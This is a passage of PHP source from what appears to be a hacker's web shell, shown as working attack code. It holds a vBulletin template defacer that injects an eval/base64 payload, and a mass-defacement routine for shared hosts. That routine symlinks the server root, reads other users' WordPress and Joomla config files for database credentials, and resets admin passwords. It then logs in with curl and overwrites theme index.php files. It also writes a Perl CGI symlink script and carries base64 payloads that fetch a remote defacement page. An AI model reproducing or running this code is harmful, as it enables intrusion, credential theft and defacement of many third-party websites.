                echo "&#187; {$row}/{$file}  &#187; Done<br><br>";
            }
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'vb') {
        if (empty($_POST['index'])) {
            echo "<center><br><br><div width='100%' class='mybox'><br><h2 class='k2ll33d2'>Vbulletin index changer</h2><br><FORM method='POST'>host : <INPUT size='12' class='inputz' value='localhost' name='localhost' type='text'>&nbsp;|&nbsp;database : <INPUT class='inputz' size='12' value='db_name' name='database' type='text'>&nbsp;|&nbsp;username : <INPUT class='inputz' size='10' value='db_user' name='username' type='text'>&nbsp;|&nbsp;password : <INPUT class='inputz' size='10' value='bd_pass' name='password' type='text'>&nbsp;|&nbsp;perfix : <input class='inputz' size='10' value='' name='perfix' type='text'><br><br><textarea class='inputz' name='index' cols='40' rows='10'>Hacked By ReZK2LL Team</textarea><br><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></div></center>";
        } else {
            $localhost = $_POST['localhost'];
            $database = $_POST['database'];
            $username = $_POST['username'];
            $password = $_POST['password'];
            $perfix = $_POST['perfix'];
            $index = $_POST['index'];
            @mysql_connect($localhost, $username, $password) or die(mysql_error());
            @mysql_select_db($database) or die(mysql_error());
            $index = str_replace("\\'", "'", $index);
            $set_index = "{\${eval(base64_decode(\\'";
            $set_index .= base64_encode("echo '{$index}';");
            $set_index .= "\\'))}}{\${exit()}}</textarea>";
            $ok = @mysql_query("UPDATE " . $perfix . "template SET template ='" . $set_index . "' WHERE title ='FORUMHOME'") or die(mysql_error());
            if ($ok) {
                echo "Defaced<br><br>";
            }
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'boom') {
        error_reporting(0);
        function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1)
        {
            $ar0 = explode($marqueurDebutLien, $text);
            $ar1 = explode($marqueurFinLien, $ar0[$i]);
            return trim($ar1[0]);
        }
        function randomt()
        {
            $chars = "abcdefghijkmnopqrstuvwxyz023456789";
            srand((double) microtime() * 1000000);
            $i = 0;
            $pass = '';
            while ($i <= 7) {
                $num = rand() % 33;
                $tmp = substr($chars, $num, 1);
                $pass .= $tmp;
                $i++;
            }
            return $pass;
        }
        function index_changer_wp($conf, $content)
        {
            $output = '';
            $dol = '$';
            $go = 0;
            $username = entre2v2($conf, "define('DB_USER', '", "');");
            $password = entre2v2($conf, "define('DB_PASSWORD', '", "');");
            $dbname = entre2v2($conf, "define('DB_NAME', '", "');");
            $prefix = entre2v2($conf, "\$table_prefix  = '", "'");
            $host = entre2v2($conf, "define('DB_HOST', '", "');");
            $link = mysql_connect($host, $username, $password);
            if ($link) {
                mysql_select_db($dbname, $link);
                $dol = '$';
                $req1 = mysql_query("UPDATE `" . $prefix . "users` SET `user_login` = 'admin',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");
            } else {
                $output = "[-] DB Error<br />";
            }
            if ($req1) {
                $req = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='home'");
                $data = mysql_fetch_array($req);
                $site_url = $data["option_value"];
                $req = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='template'");
                $data = mysql_fetch_array($req);
                $template = $data["option_value"];
                $req = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='current_theme'");
                $data = mysql_fetch_array($req);
                $current_theme = $data["option_value"];
                $useragent = "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
                $url2 = $site_url . "/wp-login.php";
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url2);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, "log=admin&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
                curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
                curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
                $buffer = curl_exec($ch);
                $pos = strpos($buffer, "action=logout");
                if ($pos === false) {
                    $output .= "[-] Login Error<br />";
                } else {
                    $output .= "[+] Login Successful<br />";
                    $go = 1;
                }
                if ($go) {
                    $cond = 0;
                    $url2 = $site_url . "/wp-admin/theme-editor.php?file=/themes/" . $template . '/index.php&theme=' . urlencode($current_theme) . '&dir=theme';
                    curl_setopt($ch, CURLOPT_URL, $url2);
                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch, CURLOPT_HEADER, 0);
                    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
                    curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
                    curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
                    $buffer0 = curl_exec($ch);
                    $_wpnonce = entre2v2($buffer0, '<input type="hidden" id="_wpnonce" name="_wpnonce" value="', '" />');
                    $_file = entre2v2($buffer0, '<input type="hidden" name="file" value="', '" />');
                    if (substr_count($_file, "/index.php") != 0) {
                        $output .= "[+] index.php loaded in Theme Editor<br />";
                        $url2 = $site_url . "/wp-admin/theme-editor.php";
                        curl_setopt($ch, CURLOPT_URL, $url2);
                        curl_setopt($ch, CURLOPT_POST, 1);
                        curl_setopt($ch, CURLOPT_POSTFIELDS, "newcontent=" . base64_decode($content) . "&action=update&file=" . $_file . "&_wpnonce=" . $_wpnonce . "&submit=Update File");
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
                        curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
                        curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
                        $buffer = curl_exec($ch);
                        curl_close($ch);
                        $pos = strpos($buffer, '<div id="message" class="updated">');
                        if ($pos === false) {
                            $output .= "[-] Updating Index.php Error<br />";
                        } else {
                            $output .= "[+] Index.php Updated Successfuly<br />";
                            $hk = explode('public_html', $_file);
                            $output .= '[+] Deface ' . file_get_contents($site_url . str_replace('/blog', '', $hk[1]));
                            $cond = 1;
                        }
                    } else {
                        $url2 = $site_url . '/wp-admin/theme-editor.php?file=index.php&theme=' . $template;
                        curl_setopt($ch, CURLOPT_URL, $url2);
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
                        curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
                        curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
                        $buffer0 = curl_exec($ch);
                        $_wpnonce = entre2v2($buffer0, '<input type="hidden" id="_wpnonce" name="_wpnonce" value="', '" />');
                        $_file = entre2v2($buffer0, '<input type="hidden" name="file" value="', '" />');
                        if (substr_count($_file, "index.php") != 0) {
                            $output .= "[+] index.php loaded in Theme Editor<br />";
                            $url2 = $site_url . "/wp-admin/theme-editor.php";
                            curl_setopt($ch, CURLOPT_URL, $url2);
                            curl_setopt($ch, CURLOPT_POST, 1);
                            curl_setopt($ch, CURLOPT_POSTFIELDS, "newcontent=" . base64_decode($content) . "&action=update&file=" . $_file . "&theme=" . $template . "&_wpnonce=" . $_wpnonce . "&submit=Update File");
                            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                            curl_setopt($ch, CURLOPT_HEADER, 0);
                            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
                            curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
                            curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
                            $buffer = curl_exec($ch);
                            curl_close($ch);
                            $pos = strpos($buffer, '<div id="message" class="updated">');
                            if ($pos === false) {
                                $output .= "[-] Updating Index.php Error<br />";
                            } else {
                                $output .= "[+] Index.php Template Updated Successfuly<br />";
                                $output .= '[+] Deface ' . file_get_contents($site_url . '/wp-content/themes/' . $template . '/index.php');
                                $cond = 1;
                            }
                        } else {
                            $output .= "[-] index.php can not load in Theme Editor<br />";
                        }
                    }
                }
            } else {
                $output .= "[-] DB Error<br />";
            }
            global $base_path;
            unlink($base_path . 'COOKIE.txt');
            return array('cond' => $cond, 'output' => $output);
        }
        function index_changer_joomla($conf, $content, $domain)
        {
            $doler = '$';
            $username = entre2v2($conf, "\$user = '", "';");
            $password = entre2v2($conf, "\$password = '", "';");
            $dbname = entre2v2($conf, "\$db = '", "';");
            $prefix = entre2v2($conf, "\$dbprefix = '", "';");
            $host = entre2v2($conf, "\$host = '", "';");
            $co = randomt();
            $site_url = "http://" . $domain . "/administrator";
            $output = '';
            $cond = 0;
            $link = mysql_connect($host, $username, $password);
            if ($link) {
                mysql_select_db($dbname, $link);
                $req1 = mysql_query("UPDATE `" . $prefix . "users` SET `username` ='admin' , `password` = '4297f44b13955235245b2497399d7a93', `usertype` = 'Super Administrator', `block` = 0");
                $req = mysql_numrows(mysql_query("SHOW TABLES LIKE '" . $prefix . "extensions'"));
            } else {
                $output = "[-] DB Error<br />";
            }
            if ($req1) {
                if ($req) {
                    $req = mysql_query("SELECT * from  `" . $prefix . "template_styles` WHERE `client_id` = '0' and `home` = '1'");
                    $data = mysql_fetch_array($req);
                    $template_name = $data["template"];
                    $req = mysql_query("SELECT * from  `" . $prefix . "extensions` WHERE `name`='" . $template_name . "' or `element` = '" . $template_name . "'");
                    $data = mysql_fetch_array($req);
                    $template_id = $data["extension_id"];
                    $url2 = $site_url . "/index.php";
                    $ch = curl_init();
                    curl_setopt($ch, CURLOPT_URL, $url2);
                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch, CURLOPT_HEADER, 0);
                    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
                    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
                    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
                    $buffer = curl_exec($ch);
                    $return = entre2v2($buffer, '<input type="hidden" name="return" value="', '"');
                    $hidden = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 4);
                    if ($return && $hidden) {
                        curl_setopt($ch, CURLOPT_URL, $url2);
                        curl_setopt($ch, CURLOPT_POST, 1);
                        curl_setopt($ch, CURLOPT_REFERER, $url2);
                        curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=123123&option=com_login&task=login&return=" . $return . "&" . $hidden . "=1");
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
                        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
                        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
                        $buffer = curl_exec($ch);
                        $pos = strpos($buffer, "com_config");
                        if ($pos === false) {
                            $output .= "[-] Login Error<br />";
                        } else {
                            $output .= "[+] Login Successful<br />";
                        }
                    }
                    if ($pos) {
                        $url2 = $site_url . "/index.php?option=com_templates&task=source.edit&id=" . base64_encode($template_id . ":index.php");
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, $url2);
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
                        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
                        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
                        $buffer = curl_exec($ch);
                        $hidden2 = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 2);
                        if ($hidden2) {
                            $output .= "[+] index.php file found in Theme Editor<br />";
                        } else {
                            $output .= "[-] index.php Not found in Theme Editor<br />";
                        }
                    }
                    if ($hidden2) {
                        $url2 = $site_url . "/index.php?option=com_templates&layout=edit";
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, $url2);
                        curl_setopt($ch, CURLOPT_POST, 1);
                        curl_setopt($ch, CURLOPT_POSTFIELDS, "jform[source]=" . $content . "&jform[filename]=index.php&jform[extension_id]=" . $template_id . "&" . $hidden2 . "=1&task=source.save");
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
                        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
                        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
                        $buffer = curl_exec($ch);
                        curl_close($ch);
                        $pos = strpos($buffer, '<dd class="message message">');
                        $cond = 0;
                        if ($pos === false) {
                            $output .= "[-] Updating Index.php Error<br />";
                        } else {
                            $output .= "[+] Index.php Template successfully saved<br />";
                            $cond = 1;
                        }
                    }
                } else {
                    $req = mysql_query("SELECT * from  `" . $prefix . "templates_menu` WHERE client_id='0'");
                    $data = mysql_fetch_array($req);
                    $template_name = $data["template"];
                    $useragent = "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
                    $url2 = $site_url . "/index.php";
                    $ch = curl_init();
                    curl_setopt($ch, CURLOPT_URL, $url2);
                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch, CURLOPT_HEADER, 0);
                    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
                    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
                    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
                    $buffer = curl_exec($ch);
                    $hidden = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 3);
                    if ($hidden) {
                        curl_setopt($ch, CURLOPT_URL, $url2);
                        curl_setopt($ch, CURLOPT_POST, 1);
                        curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=123456&option=com_login&task=login&" . $hidden . "=1");
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
                        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
                        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
                        $buffer = curl_exec($ch);
                        $pos = strpos($buffer, "com_config");
                        if ($pos === false) {
                            $output .= "[-] Login Error<br />";
                        } else {
                            $output .= "[+] Login Successful<br />";
                        }
                    }
                    if ($pos) {
                        $url2 = $site_url . "/index.php?option=com_templates&task=edit_source&client=0&id=" . $template_name;
                        curl_setopt($ch, CURLOPT_URL, $url2);
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
                        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
                        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
                        $buffer = curl_exec($ch);
                        $hidden2 = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 6);
                        if ($hidden2) {
                            $output .= "[+] index.php file founded in Theme Editor<br />";
                        } else {
                            $output .= "[-] index.php Not found in Theme Editor<br />";
                        }
                    }
                    if ($hidden2) {
                        $url2 = $site_url . "/index.php?option=com_templates&layout=edit";
                        curl_setopt($ch, CURLOPT_URL, $url2);
                        curl_setopt($ch, CURLOPT_POST, 1);
                        curl_setopt($ch, CURLOPT_POSTFIELDS, "filecontent=" . $content . "&id=" . $template_name . "&cid[]=" . $template_name . "&" . $hidden2 . "=1&task=save_source&client=0");
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
                        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
                        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
                        $buffer = curl_exec($ch);
                        curl_close($ch);
                        $pos = strpos($buffer, '<dd class="message message fade">');
                        $cond = 0;
                        if ($pos === false) {
                            $output .= "[-] Updating Index.php Error<br />";
                        } else {
                            $output .= "[+] Index.php Template successfully saved<br />";
                            $cond = 1;
                        }
                    }
                }
            } else {
                $output .= "[-] DB Error<br />";
            }
            global $base_path;
            unlink($base_path . $co);
            return array('cond' => $cond, 'output' => $output);
        }
        function exec_mode_1($def_url)
        {
            @mkdir('sym', 0777);
            $wr = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
            $fp = @fopen('sym/.htaccess', 'w');
            fwrite($fp, $wr);
            @symlink('/', 'sym/root');
            $dominios = @file_get_contents("/etc/named.conf");
            @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
            $out[1] = array_unique($out[1]);
            $numero_dominios = count($out[1]);
            echo "Total domains: {$numero_dominios} <br><br />";
            $def = file_get_contents($def_url);
            $def = urlencode($def);
            $dd = 'PD9waHANCiRkZWYgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3pvbmVobWlycm9ycy5vcmcvZGVmYWNlZC8yMDEzLzAzLzE5L2Fzc29jaWFwcmVzcy5uZXQnKTsNCiRwID0gZXhwbG9kZSgncHVibGljX2h0bWwnLGRpcm5hbWUoX19GSUxFX18pKTsNCiRwID0gJHBbMF0uJ3B1YmxpY19odG1sJzsNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkcCkpIHsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXguaHRtbCcsJ3crJyk7DQogICAgQGZ3cml0ZSgkZnAxLCAkZGVmKTsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXgucGhwJywndysnKTsNCiAgICBAZndyaXRlKCRmcDEsICRkZWYpOw0KICAgICRmcDEgPSBAZm9wZW4oJHAuJy9pbmRleC5odG0nLCd3KycpOw0KICAgIEBmd3JpdGUoJGZwMSwgJGRlZik7DQogICAgZWNobyAnRG9uZSc7DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCnVubGluayhfX0ZJTEVfXyk7DQo/Pg==';
            $base_url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/sym/root/home/';
            $output = fopen('defaced.html', 'a+');
            $_SESSION['count1'] = isset($_GET['st']) && $_GET['st'] != '' ? isset($_SESSION['count1']) ? $_SESSION['count1'] : 0 : 0;
            $_SESSION['count2'] = isset($_GET['st']) && $_GET['st'] != '' ? isset($_SESSION['count2']) ? $_SESSION['count2'] : 0 : 0;
            echo "<table style=\"width:75%;\"><tr style=\"background:rgba(160, 82, 45,0.6);\"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>";
            $j = 1;
            $st = isset($_GET['st']) && $_GET['st'] != '' ? $_GET['st'] : 0;
            for ($i = $st; $i <= $numero_dominios; $i++) {
                $domain = $out[1][$i];
                $dono_arquivo = @fileowner("/etc/valiases/" . $domain);
                $infos = @posix_getpwuid($dono_arquivo);
                if ($infos['name'] != 'root') {
                    $config01 = @file_get_contents($base_url . $infos['name'] . "/public_html/configuration.php");
                    $config02 = @file_get_contents($base_url . $infos['name'] . "/public_html/wp-config.php");
                    $config03 = @file_get_contents($base_url . $infos['name'] . "/public_html/blog/wp-config.php");
                    $cls = $j % 2 == 0 ? 'class="even"' : 'class="odd"';
                    if ($config01 && preg_match('/dbprefix/i', $config01)) {
                        echo '<tr ' . $cls . '><td align="center">' . $j++ . '</td><td align="center">' . $i . '</td><td><a href="http://' . $domain . '" target="blank">' . $domain . '</a></td>';
                        echo "<td align=\"center\"><font color=\"pink\">JOOMLA</font></td>";
                        $res = index_changer_joomla($config01, $def, $domain);
                        echo '<td>' . $res['output'] . '</td>';
                        if ($res['cond']) {
                            echo "<td align=\"center\"><span class=\"green\">DEFACED</span></td>";
                            fwrite($output, 'http://' . $domain . "<br>");
                            $_SESSION['count1'] += 1;
                        } else {
                            echo "<td align=\"center\"><span class=\"red\">FAILED</span></td>";
                        }
                        echo "</tr>";
                    }
                    if ($config02 && preg_match('/DB_NAME/i', $config02)) {
                        echo '<tr ' . $cls . '><td align="center">' . $j++ . '</td><td align="center">' . $i . '</td><td><a href="http://' . $domain . '" target="blank">' . $domain . '</a></td>';
                        echo "<td align=\"center\"><font color=\"yellow\">WORDPRESS</font></td>";
                        $res = index_changer_wp($config02, $dd);
                        echo '<td>' . $res['output'] . '</td>';
                        if ($res['cond']) {
                            echo "<td align=\"center\"><span class=\"green\">DEFACED</span></td>";
                            fwrite($output, 'http://' . $domain . "<br>");
                            $_SESSION['count2'] += 1;
                        } else {
                            echo "<td align=\"center\"><span class=\"red\">FAILED</span></td>";
                        }
                        echo "</tr>";
                    }
                    $cls = $j % 2 == 0 ? 'class="even"' : 'class="odd"';
                    if ($config03 && preg_match('/DB_NAME/i', $config03)) {
                        echo '<tr ' . $cls . '><td align="center">' . $j++ . '</td><td align="center">' . $i . '</td><td><a href="http://' . $domain . '" target="blank">' . $domain . '</a></td>';
                        echo "<td align=\"center\"><font color=\"yellow\">WORDPRESS</font></td>";
                        $res = index_changer_wp($config03, $dd);
                        echo '<td>' . $res['output'] . '</td>';
                        if ($res['cond']) {
                            echo "<td align=\"center\"><span class=\"green\">DEFACED</span></td>";
                            fwrite($output, 'http://' . $domain . "<br>");
                            $_SESSION['count2'] += 1;
                        } else {
                            echo "<td align=\"center\"><span class=\"red\">FAILED</span></td>";
                        }
                        echo "</tr>";
                    }
                }
            }
            echo "</table>";
            echo "<hr/>";
            echo 'Total Defaced = ' . ($_SESSION['count1'] + $_SESSION['count2']) . ' (JOOMLA = ' . $_SESSION['count1'] . ', WORDPRESS = ' . $_SESSION['count2'] . ')<br />';
            echo "<a href=\"defaced.html\" target=\"_blank\">View Total Defaced urls</a><br />";
            if ($_SESSION['count1'] + $_SESSION['count2'] > 0) {
                echo '<a href="' . $_SERVER['PHP_SELF'] . '?pass=' . $_GET['pass'] . '&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';
            }
        }
        function exec_mode_2($def_url)
        {
            $domains = @file_get_contents("/etc/named.conf");
            @preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);
            $out = array_unique($out[1]);
            $num = count($out);
            print "Total domains: {$num}<br><br />";
            $def = file_get_contents($def_url);
            $def = urlencode($def);
            $output = fopen('defaced.html', 'a+');
            $defaced = '';
            $count1 = 0;
            $count2 = 0;
            echo "<table style=\"width:75%;\"><tr style=\"background:rgba(160, 82, 45,0.6);\"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>";
            $j = 1;
            $map = array();
            foreach ($out as $d) {
                $info = @posix_getpwuid(fileowner("/etc/valiases/" . $d));
                $map[$info['name']] = $d;
            }
            $dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHdkfTs
   NCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2
   h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19od
   G1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwv
   YmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRklMRSwgJy9ldGMvcGFzc3d
   kJyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPCR5OyRrYSsrKXsNCiAgIC
   B3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';
            mkdir('plsym', 0777);
            file_put_contents('plsym/plsym.cc', "#!/usr/bin/perl -I/usr/local/bandmin\r\nsub lil{\r\n    (\$user) = @_;\r\n    \$msr = qx{pwd};\r\n    \$kola=\$msr.\"/\".\$user;\r\n    \$kola=~s/\\n//g;\r\n    symlink('/home/'.\$user.'/public_html/configuration.php',\$kola.'##joomla.txt'); \r\n    symlink('/home/'.\$user.'/public_html/wp-config.php',\$kola.'##wordpress.txt');\r\n    symlink('/home/'.\$user.'/public_html/blog/wp-config.php',\$kola.'##swordpress.txt');\r\n}\r\n\r\nlocal \$/;\r\nopen(FILE, '/etc/passwd');  \r\n@lines = <FILE>; \r\nclose(FILE);\r\n\$y = @lines;\r\n\r\nfor(\$ka=0;\$ka<\$y;\$ka++){\r\n    while(@lines[\$ka]  =~ m/(.*?):x:/g){\r\n        &lil(\$1);\r\n    }\r\n}");
            chmod('plsym/plsym.cc', 0755);
            $wr = "Options FollowSymLinks MultiViews Indexes ExecCGI\n\nAddType application/x-httpd-cgi .cc\n\nAddHandler cgi-script .cc\nAddHandler cgi-script .cc";
            $fp = @fopen('plsym/.htaccess', 'w');
            fwrite($fp, $wr);
            fclose($fp);
            $res = file_get_contents('http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/plsym/plsym.cc');
            $url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/plsym/';
            unlink('plsym/plsym.cc');
            $data = file_get_contents($url);
            preg_match_all('/<a href="(.+)">/', $data, $match);
            unset($match[1][0]);
            $i = 1;
            foreach ($match[1] as $m) {
                $mz = explode('##', urldecode($m));
                $config01 = '';
                $config02 = '';
                if ($mz[1] == 'joomla.txt') {
                    $config01 = file_get_contents($url . $m);
                }
                if ($mz[1] == 'wordpress.txt') {
                    $config02 = file_get_contents($url . $m);
                }
                $domain = $map[$mz[0]];
                $cls = $j % 2 == 0 ? 'class="even"' : 'class="odd"';
                if ($config01 && preg_match('/dbprefix/i', $config01)) {
                    echo '<tr ' . $cls . '><td align="center">' . $j++ . '</td><td align="center">' . $i++ . '</td><td><a href="http://' . $domain . '" target="blank">' . $domain . '</a></td>';
                    echo "<td align=\"center\"><font color=\"pink\">JOOMLA</font></td>";
                    $res = index_changer_joomla($config01, $def, $domain);
                    echo '<td>' . $res['output'] . '</td>';
                    if ($res['cond']) {
                        echo "<td align=\"center\"><span class=\"green\">DEFACED</span></td>";
                        fwrite($output, 'http://' . $domain . "<br>");
                        $count1++;
                    } else {
                        echo "<td align=\"center\"><span class=\"red\">FAILED</span></td>";
                    }
                    echo "</tr>";
                }
                if ($config02 && preg_match('/DB_NAME/i', $config02)) {
                    echo '<tr ' . $cls . '><td align="center">' . $j++ . '</td><td><a href="http://' . $domain . '" target="blank">' . $domain . '</a></td>';
                    echo "<td align=\"center\"><font color=\"yellow\">WORDPRESS</font></td>";
                    $res = index_changer_wp($config02, $def);
                    echo '<td>' . $res['output'] . '</td>';
                    if ($res['cond']) {
                        echo "<td align=\"center\"><span class=\"green\">DEFACED</span></td>";
                        fwrite($output, 'http://' . $domain . "<br>");
                        $count2++;
                    } else {
                        echo "<td align=\"center\"><span class=\"red\">FAILED</span></td>";
                    }
                    echo "</tr>";
                }
            }
            echo "</table>";
            echo "<hr/>";
            echo 'Total Defaced = ' . ($count1 + $count2) . ' (JOOMLA = ' . $count1 . ', WORDPRESS = ' . $count2 . ')<br />';
            echo "<a href=\"defaced.html\" target=\"_blank\">View Total Defaced urls</a><br />";
            if ($count1 + $count2 > 0) {
                echo '<a href="' . $_SERVER['PHP_SELF'] . '?pass=' . $_GET['pass'] . '&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';
            }
        }
        function exec_mode_3($def_url)
        {
            $domains = @file_get_contents("/etc/named.conf");
            @preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);
            $out = array_unique($out[1]);
            $num = count($out);
            print "Total domains: {$num}<br><br />";
            $def = file_get_contents($def_url);
            $def = urlencode($def);
            $output = fopen('defaced.html', 'a+');
            $defaced = '';
            $count1 = 0;
            $count2 = 0;
            echo "<table style=\"width:75%;\"><tr style=\"background:rgba(160, 82, 45,0.6);\"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>";
            $j = 1;
